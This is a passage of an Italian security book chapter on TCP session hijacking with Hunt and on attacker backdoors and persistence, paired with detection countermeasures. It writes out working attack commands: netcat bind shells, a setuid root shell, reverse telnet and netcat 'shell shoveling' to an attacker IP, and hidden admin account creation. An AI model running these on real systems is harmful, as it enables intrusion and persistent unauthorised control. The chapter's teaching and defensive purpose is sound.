Se i pacchetti sono il sangue della rete, i dispositivi al suo interno ne costituiscono sicuramente il cuore e le arterie. I dispositivi di rete sono i guardiani del traffico aziendale e assicurano che ogni pacchetto raggiunga la propria destinazione. Ogni e-mail, file, numero di carta di credito di un cliente viaggia sulla rete e viene gestito da queste periferiche. Ovviamente la loro sicurezza è un fattore critico, poiché senza un livello di sicurezza adeguato e una meticolosa attenzione un intruso malintenzionato potrebbe essere in grado di dirottare il traffico di rete. Spiegheremo come questo sia possibile utilizzando la tecnica denominata "hijacking" (dirottamento TCP).
L'arte del dirottamento TCP nasce da una svista fondamentale fatta in sede di definizione del protocollo TCP/IP: viene consentita l'introduzione in un flusso di un pacchetto contraffatto, il che permette l'esecuzione di comandi su un host remoto. Tuttavia, questo tipo di attacco richiede la condivisione di risorse e un pizzico di fortuna. Utilizzando uno strumento di dirottamento come Hunt, un intruso può tentare di rilevare una connessione ed eventualmente prenderne il controllo.

Hunt

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Il tool Hunt, che è disponibile all'indirizzo `http://lin.fsid.cvut.cz/-kra/index.html#HUNT`, è un altro programma di dirottamento e presenta funzionalità più stabili. Il suo autore, Pavel Krauz, ha realizzato un prodotto veramente notevole, che dimostra alcuni punti deboli del protocollo TCP.

Come potete vedere nel seguente esempio, Hunt permette all'aggressore di spiare una connessione alla ricerca di informazioni preziose come le password:

```
--- Main Menu --- rcvpkt 1498, free/alloc pkt 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
> w
0) 172.29.11.207 [1038]        --> 172.30.52.69 [23]
1) 172.29.11.207 [1039]        --> 172.30.52.69 [23]
2) 172.29.11.207 [1040]        --> 172.30.52.66 [23]
3) 172.29.11.207 [1043]        --> 172.30.52.73 [23]
4) 172.29.11.207 [1045]        --> 172.30.52.74 [23]
5) 172.29.11.207 [1047]        --> 172.30.52.74 [23]

choose conn> 2
dump [s]rc/[d]st/[b]oth [b]> s
CTRL-C to break
uname -a
su
hello
cat /etc/passwd
```

L'osservazione di una connessione telnet su sistemi UNIX può rivelare agli intrusi informazioni preziose, per esempio la password dell'utente root (come abbiamo appena visto). Hunt permette anche di inviare comandi per l'esecuzione sul sistema remoto. Per esempio, l'aggressore è in grado di inviare comandi visualizzando il risultato solo sulla propria postazione, il che rende l'intrusione più difficile da intercettare.

```
--- Main Menu --- rcvpkt 76, free/alloc pkt 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
> s
0) 172.29.11.207 [1517]        --> 192.168.40.66 [23]
```

```
choose conn> 0
dump connection y/n [n]> n
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
cat /etc/passwd
root:rhayr1.AHfasd:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
sm:a401ja8fFla.;:100:1::/export/home/sm:/bin/sh
[r]eset connection/[s]ynchronize/[n]one [r]> n
done
```

Come potete vedere, è possibile inviare un comando piuttosto pericoloso (`cat /etc/passwd`) al sistema remoto, che lo esegue, mentre l'output è visibile solo sul sistema dell'intruso.

Contromisure al dirottamento

L'adozione di protocolli di comunicazione con cifratura, come per esempio IPSec e SSH, riduce notevolmente o elimina l'efficacia degli attacchi per intercettazione come il dirottamento delle sessioni. Sebbene le tecnologie basate sull'utilizzo di reti commutate fossero considerate un tempo un efficace sistema di protezione contro questi tipi di attacchi, gli strumenti di monitoraggio della rete (comunemente chiamati sniffer) sono diventati sufficientemente astuti da consentire di aggirare in alcuni casi la protezione offerta dall'impiego di tecnologie di switch (si veda la descrizione di `dsniff` nel Capitolo 7). La cifratura è pertanto la miglior difesa.

Backdoor

Una volta che un intruso ha piantato le tende, liberare il sistema dalla sua presenza può rivelarsi complesso. Si può anche riuscire a identificare e tappare la prima falla, ma un hacker esperto è in grado di creare altri metodi per garantirsi il rientro a volontà: si tratta delle cosiddette *backdoor*, letteralmente porte di servizio.
Trovare ed eliminare dal sistema eventuali backdoor è un'impresa che rasenta l'impossibile, perché esistono infiniti modi per crearle: l'unico vero rimedio è ripristinare il sistema operativo dai supporti originali e avere la pazienza di recuperare i dati degli utenti e gli applicativi da copie di sicurezza "pulite". Questa operazione è molto difficile, soprattutto se il sistema presenta configurazioni particolari non documentate.
Nei prossimi paragrafi considereremo i principali meccanismi utilizzati da hacker malintenzionati per mantenere il controllo dei sistemi target, in modo tale da consentire agli amministratori di identificare rapidamente queste intrusioni e risparmiar-

si il più possibile il complicato processo di ripristino della macchina. Dove possibile cercheremo di entrare nei dettagli, ma in generale ci proponiamo di presentare una panoramica delle tecniche più utilizzate, per migliorarne la comprensione.

Creazione di account utente falsi

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Ogni amministratore di sistema sa che gli account di livello superutente (root, Administrator, Admin) sono risorse critiche, da controllare e difendere. Decisamente più complicato è riconoscere eventuali account con nomi non significativi a cui siano stati assegnati privilegi di questo tipo. Sicuramente, una delle prime operazioni che un hacker malintenzionato cercherà di portare a termine una volta conquistato un sistema è la creazione di account come questi.

NT/2000

Creare account privilegiati in Windows NT/2000 è facile, basta utilizzare i seguenti comandi:

```
net user <username> <password> /ADD
net localgroup <groupname> <username> /ADD
```

Il comando `net group` aggiunge un utente al gruppo globale. Ricordate che Windows NT/2000 distingue tra gruppi *locali* (che risiedono solo nel SAM [*Security Accounts Manager*] locale) e *globali* (che risiedono nel SAM del dominio). I gruppi locali predefiniti sono in genere anche quelli più potenti in quanto, come impostazione predefinita, dispongono di diversi livelli di accesso alle risorse del sistema. Windows 2000 aggiunge qualcosa di nuovo, con l'introduzione del concetto di gruppi *universali* e di gruppi *locali di dominio*, che sono metadomini che possono far parte di tutti i domini di un albero o di una foresta.
Utilizzando i comandi `net [local] group` è possibile verificare l'appartenenza dei gruppi di amministrazione principali, come dimostrato nel seguente esempio, in cui vengono visualizzati i membri del gruppo Admins di un sistema Windows 2000 Enterprise:

```
C:\>net group "Enterprise Admins"
Group name     Enterprise Admins
Comment        Designated administrators of the enterprise

Members

-------------------------------------------------------------
Administrator
The command completed successfully.
```

I gruppi critici da tenere sotto controllo sono quelli predefiniti: Administrators, Domain Admins, Enterprise Admins e Schema Admins (nei controllori di dominio Windows 2000) e i vari gruppi Operators locali.

UNIX

La creazione e l'identificazione di account UNIX falsi avviene in modo analogo. Un approccio piuttosto comune è creare un account utente apparentemente innocuo con UID o GID (*Group IDentifier*) pari a 0. Verificate anche eventuali account con lo stesso GID dell'utente root, quindi verificate nel file dei gruppi, `/etc/groups`, per controllare la stessa proprietà GID. Questi account possono essere facilmente identificati nel file `/etc/passwd`.

Novell

L'approccio tipico nel caso di NetWare è creare oggetti "orfani", per esempio creare un contenitore con un utente, quindi impostare il nuovo utente come unico gestore dei trust del contenitore di livello superiore. Neanche l'utente Admin è in grado di rimediare a questa situazione, che garantisce all'intruso la possibilità di ricollegarsi all'infinito all'albero NDS. Per maggiori informazioni sulle backdoor sotto NetWare, vi rimandiamo al Capitolo 6.

File di avvio

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Nei capitoli precedenti ci siamo dilungati sulla realizzazione di backdoor sfruttando i diversi meccanismi di avvio di alcune piattaforme: si tratta di uno dei traguardi maggiormente perseguiti dagli intrusi, perché la trappola creata viene ripristinata a ogni riavvio della macchina da parte dell'utente ignaro.

NT/2000

Le aree critiche da verificare in Windows sono le varie cartelle Startup (o Esecuzione automatica), sotto *%systemroot%\profiles\%username%\start menu\programs \startup* (o *%systemroot%\profiles\%username%\menu avvio\programmi\esecuzione automatica*). Inoltre, per lanciare un trojan o una backdoor a ogni riavvio della macchina, l'aggressore può utilizzare alcune chiavi del Registro di sistema. Le chiavi da controllare sono:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

- *...Run*
- *...RunOnce*
- *...RunOnceEx*
- *...RunServices* (solo Win 9x)
- *...AeDebug*
- *...Winlogon*

Una grande quantità di software potenzialmente pericolosi si installano in queste posizioni. Per esempio, Back Orifice 2000 (BO2K, si veda più avanti) si installa sotto forma di servizio con il nome "Remote Administration Service" sotto la chiave RunServices.

Abbiamo anche visto l'utilizzo di driver caricati all'avvio del sistema, utilizzati per creare backdoor. Il driver IKS (*Invisible Keylogger Stealth*) di Amecisco (`iks.sys`, opportunamente rinominato) può venire copiato nella directory *%systemroot%\system32\drivers* e caricare il programma insieme al kernel di Windows. Questo processo è praticamente invisibile all'utente che utilizza la console di sistema: il driver scrive diversi valori nel Registro di sistema, all'interno di *HKLM\SYSTEM\CurrentControlSet\Services\iks* (anche in questo caso il nome della chiave iks può essere cambiato nel nome del driver scelto dall'hacker). Se è disponibile un file immagine affidabile del Registro di sistema (ottenuto utilizzando uno strumento come DumpReg di Somarsoft), le impostazioni IKS possono essere facilmente identificate. Il file del driver espone inoltre le sue origini, se si esaminano le sue proprietà in Explorer (Gestione risorse).

Utilizzo della pagina di avvio di un browser Web per scaricare il codice

Lo script Visual Basic del worm ILOVEYOU, reso pubblico nel maggio 2000, dimostra come sia possibile lanciare un eseguibile da una posizione insolita: la pagina di avvio di un browser web.
In particolare, il worm ILOVEYOU modifica le impostazioni della pagina di avvio di Internet Explorer, in modo da farlo puntare a una pagina che esegue il download di un eseguibile denominato WIN-BUGSFIX.exe. In particolare, viene selezionato in modo casuale uno tra quattro URL diversi aventi l'aspetto generale seguente:

```
http://www.skyinet.net/~[variabile]/[lunga_stringa_di_caratteri_
senza_senso]/WIN-BUGSFIX.exe
```

Questo URL viene scritto nella chiave di Registro *HKCU\Software\Microsoft\Internet Explorer\Main\Start Page*. Inoltre, il worm modifica un certo numero di chiavi di Registro, compresa quella che esegue il file eseguibile scaricato quando il sistema viene riavviato e un'altra che elimina l'impostazione originale della pagina di avvio.

```
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
HKCU\Software\Microsoft\InternetExplorer\Main\StartPage\about:blank
```

Naturalmente, a seconda del livello di ingenuità dell'utente successivo che lancia il browser, è possibile che il file venga eseguito senza richiedere il riavvio del sistema. Come impostazione predefinita, le ultime versioni di Internet Explorer visualizzano un finestra di dialogo di avviso per l'utente, quando viene eseguito il download di certi tipi di file, come per esempio .EXE e .COM, che possono eseguire comandi. A seconda del tipo di opzione selezionata dall'utente nella finestra di dialogo mostrata nella Figura 14.1, all'avvio del browser Web il file potrebbe essere eseguito immediatamente.

Contromisura: non avviate i file scaricati da Internet!

Va da sé (anche se è stato ripetuto diverse volte nel corso degli anni) che è necessario prestare particolare attenzione ai file eseguibili scaricati da Internet. Avviare un file dalla sua postazione remota significa andare in cerca di guai: scaricatelo localmente, verificate se non contiene virus, analizzate il suo contenuto quando è possibile (per esempio nel caso di file script o batch) e provatelo prima su un sistema non critico (non di produzione).

Figura 14.1
La finestra File Download di Internet Explorer chiede agli utenti se desiderano scaricare o eseguire un file remoto: selezionate sempre l'opzione Save this program to disk.

UNIX

In UNIX i file più utilizzati dagli intrusi per installare backdoor sono quelli di estensione rc.d: assicuratevi di verificare l'assenza in tutti i file rc di programmi sconosciuti, o aggiunti di recente. Il file inetd.conf è un altro possibile nascondiglio per trappole: esso definisce la configurazione di `inetd`, il superserver Internet in UNIX, che a sua volta esegue dinamicamente, secondo necessità, una serie di programmi come FTP, telnet, `finger` e così via. Al suo interno potreste trovare altri daemon sospetti.
Un'altra soluzione che permette di intercettare le modifiche ai file di sistema UNIX o Windows è rappresentata dal popolare programma Tripwire (`http://www.tripwire.com`). Esistono versioni commerciali di Tripwire per Windows, Red Hat Linux e Solaris. Questo prodotto crea impronte dei file, che vengono conservate fuori linea: se uno dei file controllati viene modificato senza il vostro intervento, Tripwire è in grado di dire con certezza quando e in che modo.

Novell

I file `startup.ncf` e `autoexec.ncf` di NetWare stabiliscono quali programmi del server, parametri e NLM (*NetWare Loadable Module*) debbano essere lanciati all'avvio del server. Un intruso potrebbe modificare uno dei tanti file .NCF richiamati all'interno di questi file di avvio (per esempio `ldremote.ncf`), inserendo una propria backdoor, sotto forma di versione modificata del programma `rconsole`. Di conseguenza, a meno che non controlliate periodicamente ogni singolo file di avvio, rischiate di tralasciare qualche backdoor.

Attività pianificate

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

I file di avvio sono un eccellente nascondiglio per le backdoor, ma la stessa cosa vale per le code di pianificazione delle attività. In Windows questa funzionalità è gestita dal servizio Schedule (Pianificazione), avviato dal comando `at`. Installando una backdoor che viene periodicamente lanciata, l'intruso si garantisce che un servizio vulnerabile sia sempre in esecuzione, disponibile a essere manipolato.
Per esempio, in Windows NT/2000 una semplice backdoor potrebbe essere rappresentata da un listener di `netcat`, avviato tutti i giorni a un'ora prestabilita:

```
C:\> at \\192.168.202.44 12:00A /every:1 ""nc -d -L -p 8080 -e cmd.exe""
Added a new job with job ID = 2
```

In questo modo verrebbe lanciata una nuova istanza del listener sulla porta 8080, ogni giorno a mezzogiorno. All'intruso non resta che collegarsi utilizzando `netcat` per ottenere una shell di comando, e ricordarsi di eliminare periodicamente i listener in eccesso. In alternativa, si potrebbe realizzare un file batch che verifichi se `netcat` è già in ascolto prima di lanciare una nuova istanza del listener.
Nei sistemi UNIX, il programma `crontab` è il cuore della pianificazione: viene spesso utilizzato per automatizzare attività di manutenzione del sistema particolarmente laboriose, ma può anche essere sfruttato per avviare backdoor non autorizzate. Sulla maggior parte dei sistemi UNIX, per modificare il file `crontab` è sufficiente lanciare il comando `crontab -e`, che apre il file nell'editor prescelto (solitamente specificato nella variabile d'ambiente VISUAL o EDITOR). Più semplicemente, altri sistemi consentono la modifica diretta del file con `vi` o `emacs`.
Una delle backdoor più diffuse tra quelle che utilizzano `crontab` funziona su sistemi che lo eseguono come root, richiamando file batch. Un aggressore potrebbe rendere i batch a scrittura pubblica, aprendosi la strada per il ritorno nel sistema e garantendosi l'accesso immediato come root. Per ottenere questo risultato si usa `crontab`, inserendo i seguenti comandi per creare una shell setUID come root:

```
cp /bin/csh /tmp/evilsh
chmod 4777 /tmp/evilsh
```

Contromisure per le attività pianificate

Per contrastare attacchi di questo tipo in Windows, verificate se tra le attività pianificate con il comando `at` risultino operazioni non previste:

```
C:\> at
Status ID   Day         Time          Command Line
-------------------------------------------------------------------------------
        0   Each 1      12:00 AM      net localgroup administrators joel /add
```

Per eliminare il comando dubbio con ID=0:

```
C:\> at \\172.29.11.214 0 /delete
```

L'alternativa è semplicemente disattivare il servizio, eseguendo il comando `net stop schedule`, quindi modificare le modalità di avvio del servizio nel Pannello di controllo.

In UNIX è possibile correggere la presenza nei file di `crontab` di comandi non previsti, ma vale certamente la pena verificare anche i diritti di accesso utilizzati sui file e sugli script.

Controllo remoto

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Pur avendo a disposizione le credenziali corrette, un intruso non riuscirebbe a reintrodursi nel sistema target se un'applicazione server non gli presentasse la richiesta di login. Per esempio, conoscere la password dell'utente root è praticamente inutile se sul server di destinazione sono stati disattivati i servizi `r-` o `telnet`. Analogamente, l'impostazione standard per l'utente Administrator di Windows NT/2000 garantisce ben poche possibilità di controllo remoto. Quindi, uno degli obiettivi principali degli aggressori sarà lasciare sul posto qualche meccanismo che semplifichi il rientro in un secondo tempo.

Nella maggior parte dei casi, tutto quello che serve all'intruso è un prompt dei comandi remoto. Vedremo alcuni tool che permettono di creare shell remote con relativa facilità.

Con l'affermarsi dei sistemi operativi grafici e vista la semplicità di gestione che garantiscono, una backdoor che assicuri il controllo remoto con interfaccia grafica sarebbe proprio il massimo. Vedremo anche alcuni strumenti in grado di offrire questa funzionalità.

Rimandiamo la discussione sulle contromisure per il controllo remoto alla fine di questo paragrafo, dato che molti dei meccanismi di difesa sono simili.

netcat

Abbiamo già parlato diverse volte del cosiddetto "coltellino svizzero del TCP/IP" conosciuto con il nome di `netcat` (trovate le versioni per Windows all'indirizzo `http://packetstormsecurity.org/Win/nc11nt.zip`, mentre quella per UNIX è disponibile alla pagina `http://packetstormsecurity.org/UNIX/utilities/nc110.tgz`) e della sua abilità nell'ascoltare una certa porta senza interagire con essa, effettuando un'operazione prestabilita quando viene richiesta una connessione da remoto.

`netcat` può rivelarsi uno strumento di controllo remoto estremamente potente, se si sceglie come azione predefinita di lanciare una shell di comando: in tal caso, un intruso può utilizzare `netcat` per collegarsi alla porta e vedersi restituire sulla propria macchina il prompt dei comandi. I comandi nascosti per lanciare `netcat` in modalità di ascolto vengono solitamente mischiati agli altri in qualche file di avvio (si veda il paragrafo precedente), in modo tale che il listener si ripristini al riavvio della macchina.

La Figura 14.2 riporta un esempio di backdoor di questo tipo e mostra un valore all'interno del Registro di sistema di Windows che lancia un listener di `netcat` all'avvio.

Figura 14.2
La configurazione del Registro di sistema di NT4 per lanciare netcat in ascolto a ogni avvio.

L'opzione `-L` di `netcat` indica al listener di mantenere le sessioni anche in caso di interruzione della connessione, `-d` lancia `netcat` in modalità stealth (senza la console interattiva), mentre `-e` specifica il programma da eseguire, in questo caso `cmd.exe`, all'interprete dei comandi di Windows. L'opzione `-p` specifica la porta su cui ascoltare (in questo caso, la 8080).
La versione UNIX di `netcat` può essere facilmente configurata per eseguire /bin/sh su un sistema UNIX, ottenendo un risultato analogo: a questo punto, tutto quello che resta da fare all'hacker è collegarsi alla porta in ascolto, utilizzando `netcat` per ottenere una shell di comando remota.

Hacker molto intelligenti nascondono il loro trojan `netcat` *dietro nomi apparentemente innocui come* `ddedl132.exe` *o qualcosa di ugualmente non preoccupante, per costringere l'utente a riflettere un po' prima di procedere alla cancellazione.*

remote.exe (NT)

L'utility `remote` contenuta nel Resource Kit di Windows NT/2000 può essere eseguita sul sistema target in modalità server e restituisce una shell di comando a qualsiasi utente autenticato connesso con il corrispondente client remoto.

L'installazione è quasi banale (è sufficiente copiare `remote.exe` in una posizione all'interno del percorso di ricerca del sistema remoto, come *%systemroot%*) e spesso serve semplicemente come punto di partenza per installare strumenti ben più dannosi, come utility grafiche per il controllo remoto o registratori dell'attività della tastiera. L'applicazione `remote.exe` è presentata in maggior dettaglio nel Capitolo 5.

loki

`loki` e `lokid`, cui abbiamo accennato brevemente nel Capitolo 11, rappresentano un meccanismo semplice per permettere a un intruso di ottenere nuovamente l'accesso a sistemi manomessi, anche se protetti da firewall.
L'ingegnosità di questo prodotto risiede nel fatto che il client (`loki`) "racchiude" i comandi dell'hacker (fondamentalmente pacchetti IP) tra normali intestazioni ICMP o UDP e li invia al server (`lokid`), che li esegue e restituisce il risultato. Dato che molti firewall consentono il passaggio di pacchetti ICMP e UDP diretti a un server, il traffico non regolare riesce abbastanza spesso ad attraversare il firewall senza problemi. Il seguente comando avvia il server `lokid`:

```
lokid -p -i -v 1
```

A questo punto, dal client:

```
loki -d 172.29.11.191 -p -i -v 1 -t 3
```

Insieme, `loki` e `lokid` realizzano una backdoor permanente all'interno dei sistemi, a volte persino attraverso un firewall.

Back Orifice e NetBus

Nonostante la loro natura grafica, questi due tool si limitano fondamentalmente a chiamare le API di Windows da remoto e rientrano quindi nella categoria delle backdoor per l'esecuzione di comandi da remoto più che in quella dei sistemi grafici di controllo remoto. Abbiamo già illustrato le funzionalità dei due tool nei Capitoli 4 e 5, ma ci sembra utile riportare in questo paragrafo le principali posizioni utilizzate dagli intrusi per l'installazione, in modo che gli amministratori possano identificarle meglio e prima.
Il server di Back Orifice (BO) può essere configurato per l'installazione e l'esecuzione con qualsiasi nome file (se non vengono specificate altre opzioni, [spazio].exe è l'impostazione predefinita). Durante l'installazione viene aggiunta nel Registro di sistema una voce sotto *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices*, per lanciare il server a ogni avvio del sistema. Il server ascolta sulla porta UDP 31337, a meno che non venga configurato diversamente (ovviamente immaginate quale sia la regola).
Back Orifice 2000 (BO2K) include tutte le funzionalità del suo predecessore, con due importanti eccezioni: gira sotto Windows NT/2000 (e non solo Win 9*x*) e mette a disposizione un kit per gli sviluppatori del codice sorgente, rendendo quindi estremamente difficile il riconoscimento di versioni personalizzate. Come impostazione predefinita, BO2K ascolta sulla porta TCP 54320 o UDP 54321 e crea una sua copia in un file di nome UMGR32.EXE in *%systemroot%*.
Nell'elenco delle applicazioni assume le sembianze di EXPLORER per dissuadere tentativi di chiusura forzata. Se viene introdotto senza farsi notare, si installa nel Registro di sistema nella posizione *HKLM\SOFTWARE\Microsoft\Windows\ Curren-*

tVersion\RunServices sotto forma di servizio chiamato "Remote Administration Service" e all'avvio del sistema cancella il file originale con il quale era riuscito a entrare. Tutti questi valori possono essere modificati in modo estremamente semplice utilizzando l'utility `bo2kcfg.exe` compresa nel pacchetto.
Anche NetBus è configurabile in vari modi ed esistono alcune varianti delle versioni in circolazione su Internet. L'eseguibile di default del server si chiama patch.exe (ma può essere rinominato in qualsiasi modo) e viene inserito nel Registro di sistema sotto *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run*, in modo che il server venga lanciato a ogni avvio del sistema. NetBus ascolta per default sulla porta TCP 12345 o 20034 (ma anche questa impostazione è modificabile).

Contromisure a Back Orifice 2000 (e ad altri tool)

L'utility BackOfficer Friendly, disponibile gratuitamente da Network Flight Recorder (`http://www.nfr.net/products/bof/`), permette di intercettare semplicemente i tentativi di connessione a Back Orifice, ma anche a FTP, telnet, SMTP, HTTP e altro. Questo prodotto utilizza un'interfaccia grafica per Win32 e ascolta le porte, segnalando qualsiasi tentativo di connessione al sistema.
Una funzionalità molto interessante è rappresentata da Fake Replies, che risponde alle richieste telnet, registrando il nome utente e la password con cui l'aggressore cerca di ottenere l'accesso.
Si tratta di un eccellente prodotto per riconoscere i tentativi di intrusione in un sistema, come dimostra la figura seguente.

NFR BackOfficer Friendly - Warnings
File Options Help
Thu Jun 24 11:53:43 enabled listening for Telnet
Thu Jun 24 11:53:56 Telnet connection from 172.29.11.207
Thu Jun 24 11:54:13 FTP connection from 172.29.11.207
Thu Jun 24 11:54:46 Telnet connection from 172.29.11.207
Thu Jun 24 11:54:57 Telnet login attempted from 172.29.11.207: user: root, password: passw
Thu Jun 24 11:55:06 Telnet login attempted from 172.29.11.207: user: administrator, passwo
Thu Jun 24 11:55:13 FTP connection from 172.29.11.207
Thu Jun 24 11:55:41 Back Orifice saw 5 bytes of garbage from 172.29.11.207
Thu Jun 24 11:55:46 Back Orifice saw 6 bytes of garbage from 172.29.11.207
NFR™

Eliminare BO2K da una postazione remota è un'operazione semplice se è nota la password. Collegatevi al server dall'interfaccia grafica del client, selezionate *Server Control* ed eseguite il comando *Shutdown Server* specificando l'opzione DELETE.
Il principio su cui trojan e backdoor si basano è l'incapacità, da parte dell'utente, di sapere con esattezza quali programmi sono attivi sul proprio sistema. Per contrastare questo tipo di attacchi può essere utile il programma Vision di Foundstone, scaricabile gratuitamente, che permette di rilevare tutti i programmi attivi su un sistema Windows NT/2000.
Come mostrato nella figura a pagina seguente, Vision visualizza l'elenco di tutte le porte e dei programmi associati a ciascuna di esse, in modo da mettere in

condizione l'utente di verificare se nel suo sistema arrivano pacchetti provenienti da qualche hacker.

Vision

TCP/IP Port Mapper

PID	Process	Port	Proto	Remote IP	Path
1820	IEXPLORE	5968	UDP		C:\Program Files\Internet Explorer\IEXPLORE.EXE
1400	dll32	65535	TCP		C:\nt\dll32.exe
928	inetinfo	1027	TCP		C:\WINNT\System32\inetsrv\inetinfo.exe
552	sqlservr	1433	TCP		C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe
552	sqlservr	16389	TCP		C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe
552	sqlservr	1434	UDP		C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe
444	svchost	135	TCP		C:\WINNT\system32\svchost.exe
444	svchost	135	UDP		C:\WINNT\system32\svchost.exe
248	lsass	500	UDP		C:\WINNT\system32\lsass.exe
236	services	1026	UDP		C:\WINNT\system32\services.exe
8	System	139	TCP		
8	System	445	TCP		
8	System	1028	TCP		
8	System	137	UDP		
8	System	138	UDP		
8	System	445	UDP		

Come si può vedere, sulle varie porte sono in ascolto diversi programmi, tra cui Explorer (IEXPLORE sulla porta UDP 5968), SQL Server (sqlservr.exe sulle porte UDP 1434, TCP 1433 e 16389), e qualcosa chiamato dll32 (c:\nt\dll32.exe sulla porta TCP 65535). Proprio quest'ultimo programma merita di essere analizzato con attenzione: Explorer può ragionevolmente essere in ascolto sulla porta UDP 5968, come pure SQL Server sulle sue porte, ma che dire di dll32.exe? Puzza di pesce marcio. Con le informazioni fornite da Vision possiamo ricercare dll32.exe nella cartella c:\nt e nel Registro di sistema, per verificare se è un'applicazione di sistema, oppure possiamo connetterci con `netcat` alla porta TCP 65535, per vedere se da essa entra qualcosa: nel nostro caso c'è un prompt dei comandi!

```
C:\>nc -nvv 127.0.0.1 65535
(UNKNOWN) [127.0.0.1] 65535 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\nt>
```

Connettendoci alla porta TCP 65535 abbiamo dunque individuato immediatamente l'attacco: ora non rimane che il problema di cancellare il programma dll32.exe dal sistema, cercando nel contempo di capire come sia stato possibile per qualcuno avviare una sessione DOS sulla nostra macchina.

Reindirizzamento delle porte: telnet inverso, netcat, datapipe, rinetd e fpipe

I programmi di controllo remoto basati su shell che abbiamo visto sono stati trattati nel contesto di connessioni di controllo remoto dirette. Tuttavia, considerate la si-

tuazione in cui un firewall intermedio blocchi l'accesso diretto al sistema target: gli aggressori più ingegnosi sono in grado di aggirare l'ostacolo utilizzando il metodo del *reindirizzamento delle porte.*
Una volta forzato un sistema di controllo dell'accesso, per esempio un firewall, l'aggressore può utilizzare il reindirizzamento delle porte per inoltrare tutti i pacchetti verso una specifica destinazione. Lo scopo di questa operazione è ottenere l'accesso a qualsiasi sistema prima protetto dal firewall (o simile). Il reindirizzamento si basa sull'ascolto di certe porte e sull'inoltro di pacchetti "di base" a una destinazione secondaria prestabilita. In seguito presenteremo alcuni metodi per configurare manualmente il reindirizzamento delle porte, utilizzando strumenti come `telnet` e `netcat`, o anche le utility specializzate per il reindirizzamento delle porte, come `datapipe`, `rinetd` e `fpipe`.

Telnet inverso

Una delle nostre backdoor preferite all'interno dei sistemi manomessi può essere eseguita utilizzando il daemon `telnet`, fornito con la maggior parte delle distribuzioni UNIX: non è quindi necessario scaricare alcun file. Ci riferiamo a questa tecnica come "telnet inverso", perché utilizza `telnet` per collegarsi a finestre `netcat` in ascolto, quindi passa i comandi da una finestra al flusso `telnet` invertito, inviando l'output su una finestra diversa.
Un `telnet` inverso si realizza a partire da due listener `netcat` sulla propria macchina, in questo modo:

```
C:\> nc -vv -l -p 80
D:\> nc -vv -l -p 25
```

Quindi si lancia il seguente comando UNIX sul sistema target, per leggere dalla porta 25, passare i dati alla shell locale (che esegue il comando) e inviare nuovamente l'output alla macchina di partenza, sulla porta 80.

```
sleep 10000 ¦ telnet 172.29.11.191 80 ¦ /bin/sh ¦ telnet 172.29.11.191 25
```

Le porte utilizzate in questo esempio, 80 e 25, corrispondono a servizi comuni (HTTP e SMTP, rispettivamente) che vengono normalmente lasciati transitare sui firewall in direzione di sistemi back-end.

Inversione di shell mediante netcat

Se `netcat` è disponibile, o può essere caricato sul sistema target, è possibile adottare una tecnica simile, denominata "inversione di shell" (in inglese *shell shoveling*) perché rinvia sostanzialmente una sessione di comando sulla macchina dell'intruso. Ipotizzate che l'esempio successivo venga eseguito dal prompt dei comandi remoti della macchina target:

```
nc <attacker_IP> 80 ¦ cmd.exe ¦ nc <attacker_IP> 25
```

Se la macchina attacker.com è in ascolto con `netcat` sulle porte TCP 80 e 25, abilitate rispettivamente per il traffico da e verso la macchina della vittima attraverso il firewall, questo comando attiva una nuova shell di comando remota dal sistema della vittima. La Figura 14.3 mostra il sistema dell'hacker relativo a questo esempio: nella parte superiore viene mostrata la finestra di input in ascolto sulla porta 80 che invia il comando `ipconfig`, mentre nella parte inferiore viene mostrato l'output ricevuto dalla macchina della vittima sulla porta 25.

```
Toolbox Command Prompt - nc -nvv -l -p 80

D:\Toolbox>nc -nvv -l -p 80
listening on [any] 80 ...
connect to [192.168.234.36] from (UNKNOWN) [192.168.234.110
dir
ipconfig
 sent 13, rcvd 0

D:\Toolbox>nc -nvv -l -p 80
listening on [any] 80 ...
connect to [192.168.234.36] from (UNKNOWN) [192.168.234.110
ipconfig
```

```
D:\Toolbox>nc -vv -l -p 25
listening on [any] 25 ...
connect to [192.168.234.36] from CORP-DC [192.168.234.110]
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\Documents and Settings\Administrator>ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection 3:

        Media State . . . . . . . . . . . : Cable Disconnec

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.234.110
